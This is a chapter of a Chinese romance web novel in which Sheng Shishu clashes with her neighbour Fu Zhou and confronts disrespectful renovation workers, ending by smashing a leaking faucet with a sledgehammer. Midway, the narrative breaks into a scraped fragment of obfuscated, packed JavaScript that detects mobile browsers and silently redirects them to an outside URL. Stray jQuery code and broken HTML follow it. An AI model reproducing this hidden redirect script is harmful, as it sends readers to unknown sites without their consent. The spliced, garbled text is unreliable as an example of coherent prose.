6. 抡锤猛女

作品:《不婚主义语法错误

    “不行。”盛施舒斩钉截铁地答道。


    “首先,我是你邻居,邻里之间不可能不交流;其次,你和道春还有合作,得罪我就是得罪道春,我想你应该不会蠢到干出得罪甲方的事吧?”


    她话说得干脆利落,眼神却蒙了层灰。


    只是傅舟这话说出口,就像给两人关系率先贴上道休止符。


    有点,难办。


    不等他解释,盛施舒眉头拧起,立马潇洒挥手离开:“不跟你多说,我还有我的事要忙。”


    恰好这时没人用电梯,盛施舒刚按下上行键,电梯门立马打开。


    她瘪嘴,稍微低下脑袋,毅然决然地背身走进电梯。


    “不是你误会……”


    傅舟话还没说完,盛施舒就鼓着一股气疯狂按下关门键。


    八楼只有她一户,于是她索性按下九楼的按钮。


    “这电梯怎么这么慢……”盛施舒忍不住抱怨。


    她一个人站在电梯角落,面前挡着路的是她的小推车。推车里已经不剩几袋礼物,盛施舒却依旧觉得它碍事。


    手指无意识地抠着缎带提手,把薄薄的缎带捻出一条缝,脑子里乱成一团浆糊。


    这傅舟果真不是一般人,从没有她感兴趣的男人反过来对她这么疏离过。


    不行不行,必须得想想办法。


    快要到下一层时,又慌忙用袖子抹了把脸,不想被其他邻居看见自己这幅模样。


    “您好!不好意思打扰啦!我是八楼的新住户,来给您送点东西!”


    盛施舒重新挂起笑脸,把最后这几袋东西送完。


    邻里们对她送的小礼物赞不绝口。幸好大家都是圈外人,看她长得又白又漂亮还这么大方,对她的态度印象自然是极好的。


    当然,傅舟除外。


    为什么这么讨厌她?她不是已经说了不逼他当她男朋友吗?


    一个人坐电梯来到楼下,连小区中心花园里小河的流水声都显得烦人。


    “狗屁月亮,雾蒙蒙的一点也不好看。”她喃喃自语道。


    -


    新家装修,盛施舒暂时还住在本家。


    家里冷清得很,父兄每天早出晚归,爷奶出门旅游,她只能和保姆司机聊天。


    说来怕是形象塑造过了头,家里的保姆和司机都对她忌惮三分。话抛出去没人接应,一来一回的她也累了。


    于是盛施舒去流浪动物中心逛上一圈,选中一只投缘的小猫。


    是个小女孩,特别乖巧可爱,眼睛大大的,脸也圆圆的,盛施舒非常满意,直接给它取名为“陛下”。


    陛下的到来,让这白天空荡荡的家里,总算新添另一份生气。


    这几天自从和设计师商量好房子设计款式后,她就没再去新家,也一狠心没找傅舟说话。


    即便期间有一天,傅舟确实有发消息来,说她家好像在漏水,她也没回,把消息转给设计师后就把手机息屏。


    后来她还是吃饭的时候听盛宴青说,外商接待得很成功,没多久两家就签定合同。


    虽说给的钱还没国内友商给的多,但盛昌还是亲自给译星那边发去了致谢函。


    “其实我们家的茶叶品牌做到现在不求什么大订单,我们的任务,早就从求利润转变为打响品牌了,让我国茶叶走向国际舞台上去。”


    盛昌是这么告诉盛施舒的。


    “机器的算法根本不懂我们的民族情感,专业的事还是要交给专业的人来做才行。比起相信机器,我更相信人。”


    盛宴青笑着给盛施舒解释她的疑问。


    诚然,当外界都在唱衰翻译行业时,她确实没想过,发出这些言论的会不会就是搞翻译器的那群人?


    想到这里,盛施舒恍然大悟,初步感受到傅舟工作的重要性。


    多少也有点,钦佩。


    冬日的阳光斜斜地照进花窗,在青砖地上投下细碎的光斑。


    盛施舒侧着脑袋窝在黄花梨圈椅里,穿着一件杏色羊绒开衫,赤脚踩在软垫上。


    陛下正蜷在她膝头打盹,尾巴有一搭没一搭地轻扫。


    她用指头挠挠小猫的下巴,陛下舒服地发出咕噜声,翻出毛茸茸的肚皮。


    彼时,阳光正好落在猫耳朵上,透出娇嫩的淡粉色。


    旁边小茶几上摆着还剩一半的白茶,茶烟在光柱里袅袅升起,她拿起手机,对着膝上的陛下拍了张照片,面无表情地打下一串字符:


    【天哪天哪是谁家的小猫咪这么可爱呀?咦?原来是我们家陛下呀!太可爱了宝宝~麻麻爱你】


    算算时差,伦敦这时才早上六点,直到她打和陛下一起打盹有一个多小时后,陈淳淳才发来消息:


    【你的猫的名字和你的小名一样取得莫名其妙】


    盛施舒:【陛下这个名字是它自己选的,而且我的小名是因为本来我奶奶就想用诗诗做我的大名,被我爷爷拒绝了才成了我的小名】


    陈淳淳:【好好好[OK]】


    陈淳淳:【你是不是还没去你新家看看?】


    盛施舒:【过去做什么?】


    想到这里盛施舒莫名来气,即便已经过去好几天,她还在气头上。


    陛下还在睡着,盛施舒特意搓暖了手拨弄它的小爪子。


    突然,手机再次震动。


    陈淳淳:【不是,装修你也不盯着?】


    盛施舒:【为什么要盯?】


    陈淳淳:【你是真没装修过啊,你不知道有些装修工人可能会乱来吗?】


    盛施舒不解:【我就简单改造一下,有什么可乱来的啊?】


    接着又是长达一分钟的“Typing”,结果最后收到的,只有草草一句“我建议你还是亲自去看看吧”。


    本来还不在意的,被陈淳淳这样一说,反倒生出疑心。


    不行,还是去看看,免得设计师团队真的在蒙她。


    “赵妈,我出一趟门!”


    -


    这几天天气都很好,不热不燥,带点微风,暖洋洋的照得人很舒服。


    可看来并不是所有事都很舒服。


    因为是全款买房,合同签得非常快,她也将翻新装修速速提上日程。


    新家这段时间换好了大门,也一直在赶进度。工人们工作日天天干活,负责人说,快的话一两个月左右就可以交房。


    她也心大,就这么安心地全部选择外包。


    特意没准备敲门直接开锁,盛施舒主打一个出其不意。


    电梯刚在八楼停稳,一个熟悉的身影抢先映入眼帘。


    “你怎么来了?”盛施舒瞪圆了眼睛看向傅舟,“你不去公司吗?”


    傅舟一只手插在口袋,一只手正准备敲门,见本人现身,便直接跟她沟通:“你来得正好,之前给你发消息你为什么不回?”


    有些心虚,她的声音都没那么有底气:“我把你说的问题跟设计师说了,他说会处理的。”


    “处理?这就是处理结果?”


    “什么?”


    “我家卫生间天花板一直在滴水,敲你家门里面的人也不开,要不是这几天我不在家,再不解决我就要去找物业谈谈了。”


    啊?怎么会这样?


    盛施舒一脸不解。她已经给设计师传达过这问题啊,也没真的不管不顾。


    难道是设计师那边没干活?


    “你别急,我最近也不在家,今天正打算来查查情况。”盛施舒只好先安抚住他的情绪,生怕惹出更大的麻烦。


    钥匙插入锁孔咔啦一转,她率先打开那扇还粘有塑料薄膜的大门。


    好消息是,这些工人在岗,没有摸鱼。


    坏消息是,里面有人,却故意忽视傅舟的敲门。


    “楼下的住户说他家卫生间天花板滴水,看下是不是我家的问题。”盛施舒对着看似在忙的几个工人说道。


    可即便业主亲自来监工,这些工人仍旧不把她当回事。


    盛施舒挑眉喊人喊上好几遍,他们相互推诿,费了大半功夫才“推举”出一人来领着她去察看情况。


    她顿时感觉到不对劲,抱臂跟去检查。


    这间房子水电是完善的,当下不过是依照她的习惯做个别修整,不该出现水漏到楼下的情况,除非楼上有人一直开着水龙头。


    “我们的工程可没有一点毛病,”工人懒懒散散地走在前边,态度略微嚣张,没给盛施舒一个正眼,“漏水这事儿,跟我们无关。”


    “不应该啊!如果水龙头安装没问题的话,怎么可能会漏水?你看看,现在还在漏呢!”


    盛施舒一点也不相信这个工人的话,指着眼前那个正在滴水的水龙头连连质问,“水龙头是新买的,不能有质量问题才是。”


    “是你本人亲自买的吗?”工人不屑地反问。


    这回确实是盛施舒理亏。


    当时她有了解一二,但资料找来找去还是觉得装修太麻烦,图个省事直接全权交给设计师和他的团队,这个水龙头,也是他们帮买来的。


    见她迟迟没有答复,工人更有了踢皮球的底气,说话声越来越大:“这不就得了?肯定是代购给你买了个垃圾货呗!瞒着你把差价赚走咯!”


    傅舟本不该在这时候泼凉水,但盛施舒这撒手掌柜当得实在离谱,怎么会房子装修自己什么也不管?</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923564|192669||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她根本不是忙到没时间管,纯粹是偷懒不上心。


    这几天公司事务杂,熬了几个大夜,又加上家里漏水俨然变成个小水帘洞,傅舟的脾气有点失控:“你是真的什么也不去了解啊?”


    “专业的人做得肯定比我好吧?”盛施舒没听出傅舟话里有话,并不觉得自己有任何错处。


    跟她说话简直是对牛弹琴,不过很快,他无奈一笑,又默默与自己和解。


    “你……哎算了。”傅舟不想再傻站在原地一动不动,眼看盛施舒是靠不住了。


    索性他来搭把手,毕竟这也关乎他家存亡,“我去给物业打电话叫他们来一趟,顺便回去收拾下屋子。”


    这下盛施舒多少看出了点傅舟脸上泛起的愠色,场面一度变得尴尬,她也不好把他拦下,只能待这儿等物业来再说。


    估计是看陪同的男性不在,就剩她一个什么也不懂的小姑娘,工人更加猖狂起来,趁着四下无人,壮着胆子越凑越近。


    盛施舒感觉不对,立马后退一步:“你干什么?”


    “这房子是你的?”


    “对啊。”


    “你个小姑娘年纪轻轻的,哪来的钱买这大房子?男朋友给买的吧?”


    “我自己的钱。”


    “还你自己的钱?”工人越发来劲,开始阴阳怪气,“你自己的钱不好好珍惜啊?要是你真是拿自己的钱买的房子,不得每天都来看一眼生怕出问题?像你这种人我见多了,长得漂漂亮亮的,说是自己的钱,其实就是外面找的男人给你出的钱!”


    我嘞个暴脾气,看人下菜碟呢这是?


    刚刚傅舟在的时候他顶多是敷衍,这人一走,他竟开始玩起蹬鼻子上脸?


    她下颚线一紧,硬生生把窜到舌尖的话咽了回去,深吸一口混着油漆味的冷空气,声音绷得有点硬:“我不跟你扯别的,你就给我说明白了,这水龙头滴水到底是谁的责任?”


    “开发商咯,要么是这水龙头质量太差,要么就是房屋沉降,你不懂。”


    “好好好……”


    盛施舒早已气得咬紧牙根,但出于教养,她不能当场和人起争执,只能强行克制怒气,一不做二不休换了个商量的法子。


    她突然不再吵闹,抿紧嘴唇,转身就朝墙角的水阀总闸走去。


    小高跟踩在水泥碎屑上,发出咔哒咔哒的声响。


    工人们一时都没反应过来,只呆呆望着她利落弯腰,抓住那冰冷的金属阀门,用力一拧,吱嘎一声,整屋的水流声瞬间停止,连那烦人的嘀嗒声也消失不见。


    “你……你干什么!”工人好像意识到情况不对,结巴起来。


    盛施舒没看任何人,目光扫过地面,一把抄起靠在墙边的大锤。


    “诶诶诶!你要干什么!住手!快住手!”


    那锤柄很沉,她双手握住才稳,手背上细细的青筋微微凸起。


    走到那个还在渗着水珠的崭新水龙头前,盛施舒没任何犹豫,一轮吐息间,抡圆锤子狠狠砸下去。


    哐当一声结实的闷响,那漂亮的金属龙头瞬间瘪了大半。


    哐当再来一下,连接处直接崩裂,碎片溅开。


    哐当最后一下,连掉落在地的水龙头都被她砸得稀碎。


    三锤下去,没有水再流出来,只剩光秃秃的管道口还歪扭地挂在墙上。


    盛施舒拄着锤柄,微微喘气,额间在穿透落地窗的阳光下闪着碎光。


    她面无表情地直视在场扎堆在一块儿谈天说地的工人们,那把大锤此刻更像是她的权杖,一双浅瞳忽然变得深不见底。


    她说:“跟我耍流氓?看我是女的好欺负是吧?老娘在欧洲智斗混小子的时候你们才刚开始搬砖呢!”


    工人们被她这架势吓傻,杵在边上一动也不敢动,唯恐惹了她下一秒锤头就要落他们身上。


    “我凭什么一定要对装修大大小小都一清二楚?我花钱是请你们来做事的,不是让你们来扯皮的!”


    “好,既然都在这儿给我推卸责任,我看横竖是找不出问题根源了,那现在就一个个排查。这所谓质量有问题的水龙头已经解决,要是换个水龙头还有这种情况,我必定会亲自到你们公司去维护我的权益!”


    “还有,你们要是还敢耍花招,我保证,这锤头沾的可不是灰尘,是屎是尿我可说不准!”


    下午的阳光斜斜插进毛坯房里,亮得晃眼,半空中还浮着细小的尘埃。


    盛施舒站在乱七八糟的建材中间,和无赖工人们站在对立面,身上那件孔雀蓝羊绒大衣肩头也铺上一层灰。


    长得漂亮所以呢?


    我可不是什么好惹的主儿。